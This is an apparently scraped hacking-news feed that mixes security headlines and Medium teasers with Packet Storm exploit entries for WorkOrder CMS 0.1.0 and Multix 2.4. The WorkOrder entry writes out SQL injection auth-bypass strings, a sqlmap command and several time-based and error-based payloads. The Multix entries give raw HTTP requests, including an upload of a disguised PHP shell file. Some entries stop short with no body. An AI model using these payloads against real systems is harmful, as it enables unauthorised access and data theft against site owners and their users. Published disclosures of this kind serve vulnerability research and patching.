Dark Reading: Attacks/Breaches
StackHawk Launches Deeper API Security Test Coverage to Improve the Security of APIs

Expansion of test coverage includes custom scan discovery, custom test scripts and custom test data for REST APIs, enabling developers to leave no paths untouched.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Palo Alto Networks 5G-Native Security Now Available on Microsoft Azure Private Multi-Access Edge Compute

.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Linux Stable 5.4 / 5.10 Use-After-Free / Race Condition

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png
Linux stable versions 5.4 and 5.10 suffers from a page use-after-free via stale TLB caused by an rmap lock not held during PUD move.

SHA-256 | b9d45dd1409659792dcfd15c2c4781345acb1b7ca05dc637d666213b43252dff

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WorkOrder CMS 0.1.0 SQL Injection

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
WorkOrder CMS version 0.1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

SHA-256 | 1be273ff725163819b2cfa9a453104d943c26788eac55ddd53d75e0f3feec9d8

Download
# Exploit Title: WorkOrder CMS 0.1.0 SQLI

# Date: Sep 22, 2022

# Exploit Author: Chokri Hammedi

# Vendor Homepage: https://github.com/romzes13/WorkOrderCMS

# Software Link:
https://github.com/romzes13/WorkOrderCMS/archive/refs/tags/v0.1.0.zip

# Version: 0.1.0

# Tested on: Linux
# Auth Bypass:
username:' or '1'='1

password:' or '1'='1
#sqlmap -r workorder.req --threads=10 --level 5 --risk 3 --dbs --dbms=mysql
# POST Requests:
Parameter: #1* ((custom) POST)

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

Payload: userName=1'='1&password=1/' AND (SELECT 3761 FROM(SELECT
COUNT(*),CONCAT(0x7170627071,(SELECT
(ELT(3761=3761,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UUhY!1111'/
Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: userName=1'='1&password=1/';SELECT SLEEP(5)#!1111'/
Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: userName=1'='1&password=1/' AND (SELECT 6822 FROM
(SELECT(SLEEP(5)))lYsh)-- YlDI!1111'/
Parameter: #2* ((custom) POST)

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

Payload: userName=1'='1&password=1/!1111' AND (SELECT 2010 FROM(SELECT
COUNT(*),CONCAT(0x7170627071,(SELECT
(ELT(2010=2010,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tqtn/
Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: userName=1'='1&password=1/!1111';SELECT SLEEP(5)#/
Type: time-based blind

Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)

Payload: userName=1'='1&password=1/!1111' OR SLEEP(5)-- XuTW/

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Multix 2.4 Cross Site Request Forgery

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
Multix version 2.4 suffers from a cross site request forgery vulnerability.

SHA-256 | d804687ad3c71ed52a7465168db79fb1a6b87b78c6e128b3cc988a897cc33cf8

Download
# Exploit Title: Multix - Multipurpose Website CMS with Codeigniter Cross Site Request Forgery
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/multix-multipurpose-website-cms-with-codeigniter/23537596
# Version: Version 2.4
# Tested on Ubuntu 18.04
-------Request-----------
POST /admin/file/add HTTP/1.1
Host: localhost
Content-Length: 466
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Origin: http://localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0mBtYGic6umB5Ve
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: empty
Referer: http://localhost/admin/file/add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1;
Connection: close

------WebKitFormBoundaryE0mBtYGic6umB5Ve
Content-Disposition: form-data; name="file_title"
------WebKitFormBoundaryE0mBtYGic6umB5Ve
Content-Disposition: form-data; name="file_name"; filename="shell2.php .jpg"
Content-Type: image

asdasd
------WebKitFormBoundaryE0mBtYGic6umB5Ve
Content-Disposition: form-data; name="form1"
------WebKitFormBoundaryE0mBtYGic6umB5Ve--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Multix 2.4 Cross Site Scripting

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
Multix version 2.4 suffers from a cross site scripting vulnerability.

SHA-256 | bb2ca11cc842b79877a14838fd8eff43efb418ab7ce31beacd1ccccfae1b0bf7

Download
# Exploit Title: Multix - Multipurpose Website CMS with Codeigniter Reflected Cross Site Scripting
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/multix-multipurpose-website-cms-with-codeigniter/23537596
# Version: Version 2.4
# Tested on Ubuntu 18.04
-------Request-----------
POST /search HTTP/1.1
Host: localhost
Content-Length: 24
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Origin: http://localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: empty
Referer: http://localhost/search
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlRwa1o2cDhxRGtqTUxKL2tLS0NiVGc9PSIsInZhbHVlIjoiajVqT2VOeTk5RmVXY20yaG44ekFQbTc4OFZ3K2EvbThhTFFVUjBzdVpZNmtDQVlocndZU1pEeWFlaURPWDl3V2JsZGFxeDYyR1NWRGoyVHRDYW9iVExUck12NTNjVHZ3VWF2eHNWN1dScXNRdW81ZUNPeldnZ2FRdHVxODlsWnI1cDhWOEcvQlZWSi83VEM5WTJNNC9CME5PWVVyU2dDNWhNcUlvSXU1UWlsQjF2eTYxdmQ2aW5EZHNkYVBQMUpObEN2aFp6Y0tvUkhrUkFac0ZveURZZ0NFMHlPWjRYYSs0eTNTR3VPVXZUMD0iLCJtYWMiOiJjYmU1ZWYxODJlZjYyNzAyODI5YjM4NWEzMDgyYWFkMzA2YmIzOWM3ODA3ZjgyNjMzZWRjMDc3MDkxNWEzZGQ3In0%3D; ci_session=b3568d851b75f1b0191447e7b8ba35860e8c8e56; twk_idm_key=-J__vZrlSOiy2FYLE4Fsu; TawkConnectionTime=0; twk_uuid_5a7c31ded7591465c7077c48=%7B%22uuid%22%3A%221.AGEpC4jGGoH2T6v2QAlePuWJRFfI9oZIu0RUbaNluAgJJzDJQ1zFcS1Fv9uH7mP6PIgcXCE6JVCXLF7JZsX0kHOsQNihqwO81D79ESmlYkVwYf5UHnjWKkJkiJPYK7Dn%22%2C%22version%22%3A3%2C%22domain%22%3Anull%2C%22ts%22%3A1663795200266%7D
Connection: close

search_string=
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WorkOrder CMS 0.1.0 Cross Site Scripting

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
WorkOrder CMS version 0.1.0 suffers from a cross site scripting vulnerability.

SHA-256 | 8cb65551c6ae83267598a7e09fa1ae7d1fe89f8b73a899df384b74eda241039d

Download
# Exploit Title: WorkOrder CMS 0.1.0 Cross-Site Scripting (XSS)

# Date: Sep 22, 2022

# Exploit Author: Chokri Hammedi

# Vendor Homepage: https://github.com/romzes13/WorkOrderCMS

# Software Link:
https://github.com/romzes13/WorkOrderCMS/archive/refs/tags/v0.1.0.zip

# Version: 0.1.0

# Tested on: Linux
# Payload:
username:test1337

password:test1337

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Bitbucket Git Command Injection

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Investigadores revelan vulnerabilidad crítica en Oracle Cloud Infrastructure

https://cdn-images-1.medium.com/max/1794/0*BRMBTcnacHnX0qXD
Los investigadores han revelado una nueva vulnerabilidad grave de Oracle Cloud Infrastructure (OCI) que los usuarios podrían explotar para…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
AMAZE-X CTF Walkthrough | Part I

https://cdn-images-1.medium.com/max/1400/1*4Ur84oDcMPtBvpKuSxmrFw.png
This post belongs to a series of articles dedicated to solving the DeFi challenges hosted by Secureum.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Tech Lunch Rewards

https://cdn-images-1.medium.com/max/1200/0*fnM4sNzyjVhnhxUB.jpg
Want a free lunch? Love a good conversation? This October, Reno Tech Alley is announcing the new “Lunch Rewards” program!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video